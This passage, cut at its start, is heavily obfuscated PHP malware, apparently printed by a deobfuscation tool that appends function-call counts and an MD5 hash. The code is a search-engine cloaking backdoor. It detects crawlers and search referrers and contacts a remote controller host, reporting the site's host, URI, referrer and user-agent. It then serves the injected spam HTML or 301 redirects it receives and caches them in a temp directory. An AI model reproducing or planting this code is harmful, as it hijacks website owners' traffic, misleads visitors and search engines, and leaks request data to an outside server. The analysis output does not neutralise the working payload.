\x70cr\x77\x73\x77\x6ae"]};}else{${"\x47L\x4f\x42\x41L\x53"}["ln\x6f\x69\x74\x74"]="e\x6ed";${"\x47LO\x42AL\x53"}["h\x68\x68gr\x74\x6a\x68o\x63\x61"]="res\x75\x6c\x74";$kxbvgdlb="r";$xdwhtkbse="l";$viiuqalupnhn="\x72\x65\x73\x75\x6c\x74";${"\x47L\x4f\x42\x41\x4cS"}["\x72zj\x66\x74\x78p\x6e\x74ks"]="\x6c";${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x72\x7a\x6af\x74\x78p\x6e\x74\x6bs"]}=strpos(${$viiuqalupnhn},${${"G\x4cO\x42AL\x53"}["\x6c\x6eo\x69\x74\x74"]});${${"\x47\x4c\x4fBAL\x53"}["t\x76\x66\x79\x65\x71\x7a\x62"]}=substr(${${"GL\x4f\x42\x41\x4c\x53"}["\x68\x68\x68\x67\x72\x74j\x68\x6fc\x61"]},0,${$xdwhtkbse});return${$kxbvgdlb};}}}if(!function_exists("ge\x74f\x69l\x61cach\x65")){function getfilacache($ffile){$djgckpgb="\x66f\x69\x6ce";$qdlvfwlqb="f\x63\x6fn\x74\x65\x6e\x74";${${"GL\x4fB\x41LS"}["ygwz\x6d\x64\x79\x79\x77g"]}=false;if(file_exists(${$djgckpgb})){${"GL\x4fB\x41\x4c\x53"}["\x73\x78\x76l\x79g"]="f\x66\x69\x6c\x65";if((time()-filemtime(${${"\x47\x4c\x4fB\x41\x4c\x53"}["s\x78\x76\x6c\x79\x67"]}))<604800){if(function_exists("\x66i\x6ce\x5fge\x74_c\x6fnt\x65\x6e\x74\x73")){$ugsiqqlb="f\x63\x6fn\x74e\x6et";$dnqsmwdjofu="\x66fi\x6c\x65";${$ugsiqqlb}=file_get_contents(${$dnqsmwdjofu});}else{if(${${"G\x4cO\x42A\x4c\x53"}["\x63nl\x6dj\x75\x67\x64"]}=fopen(${${"\x47\x4cO\x42\x41\x4c\x53"}["q\x70\x6e\x6f\x6d\x76\x75d"]},"r")){${${"GLO\x42ALS"}["y\x67w\x7a\x6ddy\x79\x77\x67"]}=fread(${${"\x47\x4c\x4f\x42\x41LS"}["\x63nl\x6d\x6aug\x64"]},filesize(${${"G\x4c\x4fB\x41\x4c\x53"}["\x71\x70\x6e\x6f\x6dv\x75d"]}));fclose(${${"\x47\x4c\x4f\x42\x41\x4cS"}["c\x6e\x6cm\x6au\x67\x64"]});}}}}return base64_decode(strrev(${$qdlvfwlqb}));}}if(!function_exists("ge\x74Url\x61")){function getUrla($url,$post=0,$headers=0){if(function_exists("cu\x72l\x5fini\x74")){${"\x47\x4cOBALS"}["l\x73\x70\x78n\x75\x6a\x74\x6a\x74r\x71"]="\x70\x6f\x73\x74";$bwcqsvzb="c\x68";$guttwlrc="c\x68";${"GL\x4f\x42\x41\x4c\x53"}["wc\x68\x72\x78\x76c\x70gc"]="\x63h";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6c\x74y\x7a\x6ax\x62v"]}=curl_init();$kgrkeerbkfd="\x63\x68";${"\x47\x4cO\x42AL\x53"}["\x69wg\x65\x62\x66\x63"]="ch";${"G\x4c\x4f\x42A\x4c\x53"}["\x73\x73s\x69\x63i\x74\x65"]="\x70\x6fs\x74";curl_setopt(${$kgrkeerbkfd},CURLOPT_URL,${${"\x47L\x4f\x42AL\x53"}["y\x73s\x71x\x70\x76m"]});curl_setopt(${$bwcqsvzb},CURLOPT_USERAGENT,"\x4do\x7ail\x6ca/5\x2e0\x20(\x57i\x6ed\x6fw\x73 \x4e\x54 1\x30\x2e0\x3b W\x4f\x57\x364) \x41pp\x6ceWe\x62K\x69\x74/53\x37\x2e\x336 (\x4bH\x54ML, l\x69ke Gecko)\x20\x43\x68r\x6f\x6d\x65/\x36\x30.0\x2e3\x3112.1\x31\x33\x20\x53\x61\x66a\x72i/53\x37\x2e36");curl_setopt(${${"G\x4c\x4f\x42A\x4c\x53"}["l\x74\x79\x7a\x6a\x78\x62v"]},CURLOPT_TIMEOUT,10);curl_setopt(${${"\x47L\x4fB\x41\x4c\x53"}["\x77c\x68r\x78\x76\x63\x70\x67\x63"]},CURLOPT_RETURNTRANSFER,true);${"G\x4c\x4f\x42\x41\x4c\x53"}["f\x70\x65\x7a\x6e\x67sy"]="r\x65\x73\x75\x6c\x74";$ipvpxrvz="\x68\x65a\x64\x65rs";${"\x47\x4c\x4fB\x41\x4cS"}["\x63\x75m\x70\x77\x6b\x64z"]="c\x68";if(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["ls\x70x\x6e\x75j\x74jt\x72q"]})curl_setopt(${${"\x47\x4c\x4f\x42A\x4c\x53"}["lt\x79\x7ajx\x62\x76"]},CURLOPT_POSTFIELDS,${${"\x47\x4cO\x42\x41\x4cS"}["\x73s\x73ici\x74\x65"]});if(${$ipvpxrvz})curl_setopt(${${"\x47\x4cOB\x41\x4c\x53"}["\x6ct\x79zjx\x62\x76"]},CURLOPT_HEADER,1);curl_setopt(${$guttwlrc},CURLOPT_REFERER,$_SERVER["\x48\x54TP\x5fHO\x53\x54"]);${${"\x47L\x4f\x42A\x4cS"}["\x66\x70\x65\x7an\x67\x73y"]}=curl_exec(${${"\x47\x4c\x4fBA\x4cS"}["c\x75\x6dp\x77k\x64z"]});curl_close(${${"\x47LO\x42\x41\x4c\x53"}["i\x77gebf\x63"]});}else{$mmcqklwqxno="r\x65\x73\x75l\x74";${$mmcqklwqxno}=file_get_contents(${${"\x47LOB\x41\x4c\x53"}["ys\x73\x71\x78pvm"]});}$pkkqcb="\x72e\x73\x75\x6c\x74";return${$pkkqcb};}}if(!preg_match("\x23(\x5c.ico|\\.j\x70\x67|\x5c.\x6a\x70\x65\x67|\\.\x70\x6e\x67|\x5c.\x67i\x66|\x72obo\x74s\x5c\x2et\x78\x74|\x5c\x2ecss|\\\x2ej\x73|\\\x2e\x74i\x66\x66|site\x6d\x61\x70\\\x2e\x78\x6dl|\x61jax\\.ph\x70|w\x70\\-\x6a\x73o\x6e)\x23i",$_SERVER["\x52EQU\x45\x53T_UR\x49"])){${"GLO\x42A\x4cS"}["\x67\x72\x67\x69\x68\x65\x78\x64\x75\x70"]="\x62\x6f\x74";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x70le\x61\x74\x73\x66o\x74"]="\x73\x63\x68e\x6de";${${"\x47L\x4fB\x41\x4c\x53"}["\x70l\x65a\x74s\x66\x6f\x74"]}="\x68\x74\x74p://";${${"\x47\x4cO\x42\x41\x4c\x53"}["zh\x73\x75b\x73"]}=0;${"GL\x4f\x42\x41\x4cS"}["w\x77\x66\x71\x72\x73"]="\x73\x74\x72\x66";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x67\x72\x67\x69\x68\x65x\x64up"]}=preg_match("\x23(\x67\x6f\x6fg\x6c\x65b\x6f\x74|\x62\x69ng\x62\x6ft|\x79a\x68\x6f\x6f|\x6d\x73\x6e\x62o\x74|\x61\x6f\x6c)#i",$_SERVER["HTT\x50_\x55S\x45R_AGENT"]);${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x77\x6cz\x6a\x75w\x78"]}=preg_match("\x23(g\x6f\x6fgle|b\x69\x6e\x67|ya\x68\x6f\x6f|m\x73n|a\x6fl)#i",@$_SERVER["\x48\x54\x54\x50\x5f\x52\x45F\x45\x52E\x52"]);if(${${"\x47\x4c\x4fBALS"}["\x68\x6c\x79\x78\x78\x65"]}||${${"G\x4c\x4f\x42\x41LS"}["w\x77fq\x72\x73"]}){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6d\x70\x6fd\x66u\x6eev\x6a"]="\x74\x6d\x70\x70a\x74\x68";$ilgeybdr="tm\x70p\x61\x74h";${${"G\x4cOB\x41\x4cS"}["\x6d\x70o\x64\x66\x75n\x65\x76\x6a"]}=getavalcachedir();if(${$ilgeybdr}){$byueniwdd="\x66f\x69l\x65";$taybnaqaqn="\x66i\x6c\x65";${"\x47\x4c\x4f\x42A\x4cS"}["\x66\x79\x6b\x78d\x6e\x77"]="\x66fi\x6c\x65";${"GL\x4f\x42\x41\x4c\x53"}["\x67\x63\x75\x6b\x69\x65"]="\x74\x6d\x70\x70a\x74\x68";${$taybnaqaqn}=md5(trim(str_replace("\x77\x77\x77\x2e","",$_SERVER["H\x54\x54\x50_\x48\x4fST"].$_SERVER["RE\x51UE\x53T_URI"])));${$byueniwdd}=${${"GLO\x42A\x4cS"}["g\x63\x75ki\x65"]}.${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6df\x61\x67yj\x6b\x63\x63\x67"]}.${${"G\x4c\x4f\x42A\x4cS"}["jmsc\x64\x6c\x78x\x67\x76"]};${${"\x47L\x4f\x42\x41\x4cS"}["y\x67\x77\x7am\x64\x79y\x77g"]}=getfilacache(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x66\x79kx\x64n\x77"]});if(${${"GL\x4f\x42\x41\x4c\x53"}["y\x67\x77zm\x64\x79\x79wg"]}){$xiygixahhfnx="\x6da\x69\x6e\x5f\x6bey\x77o\x72\x64";${"GL\x4fB\x41LS"}["p\x73\x72\x77p\x7ad"]="\x66\x63on\x74e\x6et";${${"G\x4cOBALS"}["\x7a\x68s\x75\x62s"]}=1;list(${$xiygixahhfnx},${${"GLO\x42\x41\x4cS"}["\x64swiam"]})=explode("~\x7e~",${${"\x47\x4c\x4f\x42\x41\x4cS"}["ps\x72\x77p\x7a\x64"]});}}if(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["z\x68su\x62\x73"]}){${"\x47\x4c\x4fB\x41\x4c\x53"}["hs\x65kev\x77"]="b\x6ft";if(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x68sek\x65\x76\x77"]}){header("C\x6f\x6eten\x74-\x54\x79p\x65:\x20text/\x68\x74\x6dl");echo${${"\x47\x4cO\x42\x41L\x53"}["\x64\x73\x77\x69\x61m"]};}if(${${"\x47LO\x42A\x4cS"}["w\x6c\x7a\x6a\x75\x77x"]}){${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x68u\x74q\x6dlz\x64"]}=getUrla("\x68\x74tp://$domain/\x70\x68/\x6c\x6f\x63a\x74io\x6e\x2e\x70\x68\x70","\x6d\x6bw\x64\x3d".urlencode(${${"\x47\x4cO\x42\x41\x4cS"}["\x73\x7a\x78r\x62jjd\x79\x6e"]})."&\x70k\x3d1\x32\x26\x68\x3d".urlencode($_SERVER["\x48\x54\x54P\x5fHO\x53\x54"]),1);${"\x47L\x4f\x42\x41L\x53"}["\x75\x6b\x64\x65\x73\x76\x77"]="\x6c\x6fca\x74\x69\x6f\x6e";$apfeoyg="lo\x63a\x74\x69\x6f\x6e";$hfwsvz="l\x6fc\x61t\x69\x6fn";${"G\x4c\x4fB\x41\x4cS"}["\x6bz\x79\x6d\x6f\x76l\x67"]="l\x6f\x63\x61t\x69\x6fn";${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x68\x75\x74\x71mlz\x64"]}=substrgetstartstop(${$apfeoyg},"g\x6fto:\x20","\n");${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6b\x7a\x79mo\x76lg"]}=base64_decode(strrev(${$hfwsvz}));Header("HT\x54P/\x31\x2e\x31 \x330\x31\x20\x4doved Pe\x72manent\x6cy");Header("Loc\x61ti\x6f\x6e:\x20".${${"G\x4c\x4f\x42\x41LS"}["\x75k\x64\x65\x73\x76w"]});}exit;}else{$vtpddfoafdb="\x72\x65su\x6c\x74";${"G\x4c\x4fB\x41L\x53"}["kq\x77\x6e\x6c\x67"]="r\x65\x73u\x6ct";${"\x47\x4cO\x42\x41\x4cS"}["a\x77\x66\x73\x6e\x62\x67\x6b\x6c\x6c\x64"]="\x72es\x75\x6ct";${${"G\x4c\x4fB\x41\x4c\x53"}["\x75\x76\x76h\x73\x6c"]}=getUrla("\x68tt\x70://$domain/p\x68/p\x68\x64ms\x31\x32\x2e\x70h\x70?\x75\x3d".urlencode("\x68\x74t\x70://".$_SERVER["\x48T\x54\x50_HO\x53T"].$_SERVER["\x52\x45Q\x55EST\x5fUR\x49"])."&\x72=".urlencode(@$_SERVER["\x48\x54T\x50_R\x45\x46E\x52\x45R"])."&\x61=".urlencode($_SERVER["HT\x54P_USE\x52_\x41GE\x4eT"]));if(${${"\x47\x4c\x4fBA\x4c\x53"}["\x6b\x71\x77\x6el\x67"]}=="\x49\x47\x4eORE"){${"G\x4cO\x42A\x4cS"}["\x66\x67\x6a\x74\x6b\x67\x69"]="m";$smycnvuuetq="\x73\x63\x68e\x6de";if((!empty($_SERVER["HT\x54\x50S"])&&$_SERVER["H\x54\x54PS"]!=="\x6fff")||$_SERVER["\x53ERV\x45R\x5f\x50O\x52T"]==443)${$smycnvuuetq}="\x68t\x74p\x73://";${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x74dyzptjtd\x61"]}=getUrla(${${"\x47\x4cO\x42\x41\x4cS"}["zi\x73pxt\x70\x72\x6b"]}.$_SERVER["\x48\x54T\x50\x5fH\x4fST"].$_SERVER["RE\x51U\x45\x53\x54_U\x52\x49"]);if(preg_match("\x23(\x5c.\x70df|\x5c\x2ej\x70g|\\\x2ejpeg|\\.pn\x67|\x5c.gif|\x5c\x2ecss|\\\x2e\x6a\x73|\x5c\x2et\x69ff)\x23\x69",$_SERVER["\x52EQ\x55\x45ST_UR\x49"],${${"\x47\x4c\x4f\x42\x41L\x53"}["\x66\x67\x6at\x6b\x67\x69"]})){${"\x47\x4cO\x42A\x4c\x53"}["r\x74\x64j\x6f\x72\x62l\x79z\x79c"]="m";$gvbqexq="\x6d";${"G\x4c\x4fB\x41\x4c\x53"}["w\x71w\x6em\x72\x63s"]="m";${"\x47LO\x42\x41\x4cS"}["\x63e\x68dg\x6d\x73\x76"]="m";switch(${${"G\x4c\x4f\x42\x41L\x53"}["\x61\x7ao\x63vjua"]}[0]){case(preg_match("/(j\x70g|jpeg)/",${${"GL\x4f\x42\x41\x4c\x53"}["\x77qw\x6e\x6d\x72\x63s"]}[0])?true:false):header("Con\x74ent-\x54\x79\x70e:\x20imag\x65/\x6apeg");break;case(preg_match("/\x5c.p\x64f/",${${"GL\x4f\x42\x41\x4c\x53"}["\x61\x7a\x6f\x63\x76\x6a\x75a"]}[0])?true:false):header("Co\x6e\x74\x65\x6et-Ty\x70\x65:\x20appl\x69c\x61\x74\x69o\x6e/\x70df");break;case(preg_match("/\\\x2e\x70\x6eg/",${${"\x47L\x4f\x42AL\x53"}["\x72\x74\x64\x6ao\x72b\x6c\x79\x7a\x79\x63"]}[0])?true:false):header("\x43\x6f\x6e\x74\x65\x6et-Type: im\x61\x67\x65/png");break;case(preg_match("/\x5c\x2eg\x69\x66/",${${"GLO\x42\x41\x4c\x53"}["\x63\x65\x68\x64\x67\x6d\x73v"]}[0])?true:false):header("C\x6fn\x74e\x6e\x74-\x54y\x70\x65: \x69\x6d\x61g\x65/\x67\x69f");break;case(preg_match("/\x74i\x66\x66/",${$gvbqexq}[0])?true:false):header("C\x6f\x6e\x74ent-\x54y\x70e:\x20appli\x63\x61\x74\x69\x6f\x6e/\x66\x6fn\x74-t\x69ff");break;case(preg_match("/cs\x73/",${${"\x47LO\x42\x41\x4c\x53"}["azoc\x76\x6a\x75a"]}[0])?true:false):header("\x43o\x6e\x74en\x74-\x54y\x70\x65: t\x65xt/c\x73s");break;case(preg_match("/\\\x2e\x6a\x73/",${${"G\x4c\x4fBAL\x53"}["\x61\x7a\x6f\x63\x76\x6a\x75a"]}[0])?true:false):header("Co\x6et\x65\x6e\x74-T\x79pe:\x20\x61p\x70\x6c\x69\x63at\x69\x6f\x6e/x-\x6a\x61\x76as\x63ri\x70t");break;default:header("C\x6fnt\x65\x6et-\x54\x79p\x65:\x20tex\x74/htm\x6c");}}echo${${"\x47LO\x42\x41\x4c\x53"}["t\x64\x79z\x70\x74j\x74\x64\x61"]};exit;}$jbfindjiqydv="res\x75l\x74";${"\x47L\x4fB\x41\x4cS"}["vfup\x72\x74\x65w\x6d\x64dp"]="\x72\x65\x73\x75\x6ct";${${"\x47\x4c\x4fBALS"}["u\x76\x76h\x73\x6c"]}=base64_decode(${$vtpddfoafdb});${${"\x47L\x4fB\x41\x4c\x53"}["\x76fup\x72\x74ew\x6d\x64\x64p"]}=unserialize(${$jbfindjiqydv});if(isset(${${"GL\x4f\x42\x41\x4cS"}["\x75\x76v\x68\x73\x6c"]}["lo\x63\x61\x74\x69on"])&&${${"\x47\x4cO\x42\x41\x4cS"}["u\x76vh\x73\x6c"]}["\x6cocat\x69\x6fn"]!=""){${"G\x4cOBA\x4c\x53"}["\x70hc\x6eic\x62mu\x70\x67"]="\x72e\x73\x75\x6c\x74";$ndmqbxzsuwj="\x72\x65s\x75l\x74";Header("\x48T\x54\x50/\x31.\x31 \x33\x30\x31\x20\x4doved \x50\x65r\x6da\x6ee\x6et\x6c\x79");${"\x47LOBA\x4c\x53"}["\x73\x70n\x68\x62\x65\x79s"]="\x72\x65\x73u\x6c\x74";if(isset(${${"GL\x4fB\x41\x4c\x53"}["p\x68\x63\x6e\x69\x63b\x6d\x75\x70\x67"]}["\x72\x65\x66er\x65r"])&&${$ndmqbxzsuwj}["r\x65\x66\x65\x72er"]!="")Header("\x52efe\x72er:\x20".${${"\x47\x4c\x4f\x42\x41LS"}["\x73\x70n\x68\x62\x65\x79s"]}["ref\x65\x72\x65r"]);$auhybaixflq="r\x65\x73\x75l\x74";Header("Lo\x63\x61\x74i\x6fn:\x20".${$auhybaixflq}["lo\x63at\x69o\x6e"]);exit;}if(isset(${${"GL\x4f\x42\x41\x4c\x53"}["\x75v\x76h\x73\x6c"]}["html"])&&${${"\x47L\x4f\x42\x41\x4c\x53"}["\x61\x77\x66\x73\x6e\x62\x67k\x6c\x6c\x64"]}["h\x74\x6dl"]!=""){$tmbydpew="\x63a\x63\x68\x65";header("\x43o\x6et\x65nt-\x54y\x70e:\x20\x74ext/h\x74m\x6c");echo${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x75\x76\x76h\x73\x6c"]}["\x68\x74ml"];if(!${$tmbydpew}){${"GLO\x42\x41\x4c\x53"}["g\x63l\x69\x73h\x62\x70w\x6d"]="tm\x70\x70\x61th";if(${${"\x47\x4c\x4fBA\x4c\x53"}["\x67\x63li\x73\x68\x62\x70\x77m"]}){if(function_exists("fi\x6ce_\x70\x75\x74_c\x6fn\x74\x65\x6et\x73")){file_put_contents(${${"\x47\x4c\x4fB\x41\x4c\x53"}["qpnomv\x75\x64"]},strrev(base64_encode(${${"\x47L\x4f\x42\x41\x4cS"}["\x75\x76vhs\x6c"]}["m\x61i\x6e\x5f\x6be\x79\x77\x6frd"]."~~\x7e".${${"G\x4c\x4f\x42\x41L\x53"}["\x75\x76\x76\x68s\x6c"]}["\x68\x74\x6dl"])));}else{if(${${"\x47\x4c\x4f\x42\x41LS"}["\x63\x6el\x6d\x6au\x67d"]}=fopen(${${"GL\x4f\x42\x41\x4cS"}["\x71\x70\x6e\x6f\x6d\x76ud"]},"w")){${"\x47LOB\x41\x4cS"}["r\x70ex\x63s\x6c\x68"]="r\x65\x73\x75\x6c\x74";${"\x47\x4cO\x42\x41\x4c\x53"}["\x6d\x63\x61\x72\x68\x6fs\x78\x64\x79"]="\x68\x61\x6ed\x6c\x65";$oeblaaep="\x72e\x73\x75\x6c\x74";fwrite(${${"GLO\x42ALS"}["\x6d\x63ar\x68\x6fs\x78dy"]},strrev(base64_encode(${${"\x47L\x4fB\x41L\x53"}["r\x70\x65\x78cs\x6c\x68"]}["\x6d\x61\x69\x6e_\x6b\x65ywo\x72\x64"]."~\x7e\x7e".${$oeblaaep}["html"])));fclose(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x63\x6e\x6cm\x6au\x67d"]});}}}}exit;}}}}
?>
Function Calls
strpos | 1 |
dirname | 1 |
preg_match | 1 |
function_exists | 4 |
Stats
MD5 | 6e56f219fdb799c2734d12a961dfed31 |
Eval Count | 0 |
Decode Time | 282 ms |